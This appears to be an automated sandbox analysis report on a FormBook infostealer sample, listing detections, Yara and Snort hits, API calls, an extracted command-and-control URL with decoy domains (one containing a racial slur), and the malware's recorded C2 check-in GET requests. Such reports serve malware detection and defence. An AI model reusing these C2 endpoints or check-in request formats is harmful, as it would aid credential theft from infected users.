Analysis Report RCS76393.exe

AV Detection:

Antivirus detection for URL or domain

Source: www.batiktintaemas.com/goei/

Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000003.00000001.324919242.0000000000400000.00000040.00020000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.batiktintaemas.com/goei/"], "decoy": ["bet365o2.com", "gulf-landlord.info", "foodsystemsjusticeproject.com", "ronwongart.com", "fwgkdhg.icu", "armanrugservice.com", "mapadequito.com", "vbkulkarni.com", "ltsbinge.com", "creativem2.com", "mindflexlab.com", "ushealthvisa.com", "247carkeyslondon.com", "addthat.xyz", "zanzan8.com", "legendsalliance.net", "shopflyonline.com", "csgo-roll.net", "reutbergcapital.com", "mediaworkhouse.com", "office-tourism-tirana.com", "evecrude.xyz", "sportwillwin.com", "cluskmusk.com", "her2mymeme.com", "rsw3313.com", "digitalmarketingmoves.com", "seaworldminecraft.com", "onlinecollegetherapy.com", "ourmonaca.com", "generalflix.com", "limonproduce.com", "casalomasymphonyorchestra.com", "karyapertama.com", "massaponaxhighschool.com", "covidtracksb.com", "breathharbour.net", "italianrealestateagents.com", "xn--ga-c9a.com", "libreo.club", "leverhump.store", "kevinrsamuels.network", "pimpmyrecipe.com", "win-back.online", "kelasipo.com", "caross-china.com", "ly-iot.com", "nolimitsynthetics.net", "epicfriend.club", "19come.com", "lcjzjt.com", "lxpvccard.com", "distributorfocuson.com", "looneytunesrun.com", "mariebiernacki.com", "maquinaclub.com", "randalldavisauthor.com", "niggeruprising.com", "theexpatweightcoach.com", "mex33.info", "imbravura.com", "baldosasanjose.com", "akindousa.com", "ourmunera.net"]}

Yara detected FormBook

Source: Yara match	File source: 00000003.00000001.324919242.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.587150105.0000000000480000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.362951284.0000000000D00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.362449000.0000000000990000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.326066867.0000000003F40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.587988322.00000000030A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.362232664.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.590270038.0000000004890000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.1.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE

Machine Learning detection for sample

Source: RCS76393.exe

Joe Sandbox ML: detected

Antivirus or Machine Learning detection for unpacked file

Source: 3.1.RCS76393.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.2.RCS76393.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

Uses 32bit PE files

Source: RCS76393.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Binary contains paths to debug symbols

Source:	Binary string: msiexec.pdb source: RCS76393.exe, 00000003.00000002.363009374.0000000000D80000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000005.00000000.348166321.000000000DC20000.00000002.00000001.sdmp
Source:	Binary string: msiexec.pdbGCTL source: RCS76393.exe, 00000003.00000002.363009374.0000000000D80000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: RCS76393.exe, 00000003.00000002.362641926.0000000000AEF000.00000040.00000001.sdmp, msiexec.exe, 00000007.00000002.588142042.0000000004560000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: RCS76393.exe, msiexec.exe
Source:	Binary string: wscui.pdb source: explorer.exe, 00000005.00000000.348166321.000000000DC20000.00000002.00000001.sdmp

Software Vulnerabilities:

Found inlined nop instructions (likely shell or obfuscated code)

Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 4x nop then pop edi		3_2_0040C326
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 4x nop then pop edi		3_1_0040C326
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then pop edi		7_2_030AC326

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49741 -> 198.185.159.144:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49741 -> 198.185.159.144:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49741 -> 198.185.159.144:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.batiktintaemas.com/goei/

Performs DNS queries to domains with low reputation

Source: C:\Windows\explorer.exe	DNS query: www.addthat.xyz
Source: C:\Windows\explorer.exe	DNS query: www.evecrude.xyz

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=B46qr3zTyBR1t+VKbrees7UR/FiD4WL3nz1lGh06nIBkEBDQrNA0bRgDDyF1Au9+nA9wWbL6eg==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.ly-iot.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=GY2gQUF0Rr/aPbkdLLDyshZLrmGphrTrFvzfodUnQAaoW3qjeuccMn3ranK+t6GyiOOsZqKqHA==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.ronwongart.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=TTuxDc9EejbduYk8ZHEjlKcpN/O2EpBILXUKac8y6lhY4fajDGEqKXEgdN9L03N9MJzUHOy50w==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.pimpmyrecipe.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=BdWs9+XwUamw8CUuz3E8yrboev7iCL3gb6z7OkS86X4CeTXY3ejv3dXKop2WOnP3DDbLLyGv2A==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.foodsystemsjusticeproject.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=iESvN3vx+46BgVwWtoPvPQmUnTMTtp1hHS9L6erIUoS4dJlpb0oL7GpX49j9BG002Zkja/L0IA==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.batiktintaemas.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=WHzdRAWCNmljEZUdYknMeV5zI3m+uLt35kXWxc+UN/aPGTi9DTFvtLFMQ5OC8xESdqE/mkifJw==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.addthat.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=1hbvBZ6scGrlPy0N1riO1jCdFmqX21DbBNOeXEZPJTZAL1bLTprMXMNvQ4/+FZIG6w0HvwIWjw==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.evecrude.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 199.59.242.153 199.59.242.153

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: IOFLOODUS IOFLOODUS
Source: Joe Sandbox View	ASN Name: MISSDOMAINSE MISSDOMAINSE
Source: Joe Sandbox View	ASN Name: BODIS-NJUS BODIS-NJUS

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=B46qr3zTyBR1t+VKbrees7UR/FiD4WL3nz1lGh06nIBkEBDQrNA0bRgDDyF1Au9+nA9wWbL6eg==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.ly-iot.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=GY2gQUF0Rr/aPbkdLLDyshZLrmGphrTrFvzfodUnQAaoW3qjeuccMn3ranK+t6GyiOOsZqKqHA==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.ronwongart.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=TTuxDc9EejbduYk8ZHEjlKcpN/O2EpBILXUKac8y6lhY4fajDGEqKXEgdN9L03N9MJzUHOy50w==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.pimpmyrecipe.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=BdWs9+XwUamw8CUuz3E8yrboev7iCL3gb6z7OkS86X4CeTXY3ejv3dXKop2WOnP3DDbLLyGv2A==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.foodsystemsjusticeproject.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=iESvN3vx+46BgVwWtoPvPQmUnTMTtp1hHS9L6erIUoS4dJlpb0oL7GpX49j9BG002Zkja/L0IA==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.batiktintaemas.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=WHzdRAWCNmljEZUdYknMeV5zI3m+uLt35kXWxc+UN/aPGTi9DTFvtLFMQ5OC8xESdqE/mkifJw==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.addthat.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /goei/?EzuXh6BP=1hbvBZ6scGrlPy0N1riO1jCdFmqX21DbBNOeXEZPJTZAL1bLTprMXMNvQ4/+FZIG6w0HvwIWjw==&RL0=rVvxj02xpd_lyz HTTP/1.1Host: www.evecrude.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: www.ly-iot.com

Tries to download or post to a non-existing HTTP route (HTTP/1.1 404 Not Found / 503 Service Unavailable)

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Thu, 08 Apr 2021 10:47:16 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 6

URLs found in memory or binary data

Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000005.00000000.329599785.000000000095C000.00000004.00000020.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000005.00000000.347164157.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

E-Banking Fraud:

Yara detected FormBook

Source: Yara match	File source: 00000003.00000001.324919242.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.587150105.0000000000480000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.362951284.0000000000D00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.362449000.0000000000990000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.326066867.0000000003F40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.587988322.00000000030A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.362232664.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.590270038.0000000004890000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.1.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Source: 00000003.00000001.324919242.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000001.324919242.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.587150105.0000000000480000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.587150105.0000000000480000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.362951284.0000000000D00000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.362951284.0000000000D00000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.362449000.0000000000990000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.362449000.0000000000990000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.326066867.0000000003F40000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.326066867.0000000003F40000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.587988322.00000000030A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.587988322.00000000030A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.362232664.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.362232664.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.590270038.0000000004890000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.590270038.0000000004890000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.1.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.1.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.1.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.1.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Contains functionality to call native functions

Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_004181C0 NtCreateFile,		3_2_004181C0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00418270 NtReadFile,		3_2_00418270
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_004182F0 NtClose,		3_2_004182F0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_004183A0 NtAllocateVirtualMemory,		3_2_004183A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_0041826B NtReadFile,		3_2_0041826B
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_0041839A NtAllocateVirtualMemory,		3_2_0041839A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A398F0 NtReadVirtualMemory,LdrInitializeThunk,		3_2_00A398F0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39860 NtQuerySystemInformation,LdrInitializeThunk,		3_2_00A39860
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39840 NtDelayExecution,LdrInitializeThunk,		3_2_00A39840
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A399A0 NtCreateSection,LdrInitializeThunk,		3_2_00A399A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39910 NtAdjustPrivilegesToken,LdrInitializeThunk,		3_2_00A39910
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39A20 NtResumeThread,LdrInitializeThunk,		3_2_00A39A20
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39A00 NtProtectVirtualMemory,LdrInitializeThunk,		3_2_00A39A00
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39A50 NtCreateFile,LdrInitializeThunk,		3_2_00A39A50
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A395D0 NtClose,LdrInitializeThunk,		3_2_00A395D0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39540 NtReadFile,LdrInitializeThunk,		3_2_00A39540
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A396E0 NtFreeVirtualMemory,LdrInitializeThunk,		3_2_00A396E0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39660 NtAllocateVirtualMemory,LdrInitializeThunk,		3_2_00A39660
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A397A0 NtUnmapViewOfSection,LdrInitializeThunk,		3_2_00A397A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39780 NtMapViewOfSection,LdrInitializeThunk,		3_2_00A39780
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39FE0 NtCreateMutant,LdrInitializeThunk,		3_2_00A39FE0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39710 NtQueryInformationToken,LdrInitializeThunk,		3_2_00A39710
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A398A0 NtWriteVirtualMemory,		3_2_00A398A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39820 NtEnumerateKey,		3_2_00A39820
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A3B040 NtSuspendThread,		3_2_00A3B040
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A399D0 NtCreateProcessEx,		3_2_00A399D0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39950 NtQueueApcThread,		3_2_00A39950
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39A80 NtOpenDirectoryObject,		3_2_00A39A80
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39A10 NtQuerySection,		3_2_00A39A10
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A3A3B0 NtGetContextThread,		3_2_00A3A3B0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39B00 NtSetValueKey,		3_2_00A39B00
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A395F0 NtQueryInformationFile,		3_2_00A395F0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39520 NtWaitForSingleObject,		3_2_00A39520
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A3AD30 NtSetContextThread,		3_2_00A3AD30
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39560 NtWriteFile,		3_2_00A39560
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A396D0 NtCreateKey,		3_2_00A396D0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39610 NtEnumerateValueKey,		3_2_00A39610
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39670 NtQueryInformationProcess,		3_2_00A39670
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39650 NtQueryValueKey,		3_2_00A39650
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39730 NtQueryVirtualMemory,		3_2_00A39730
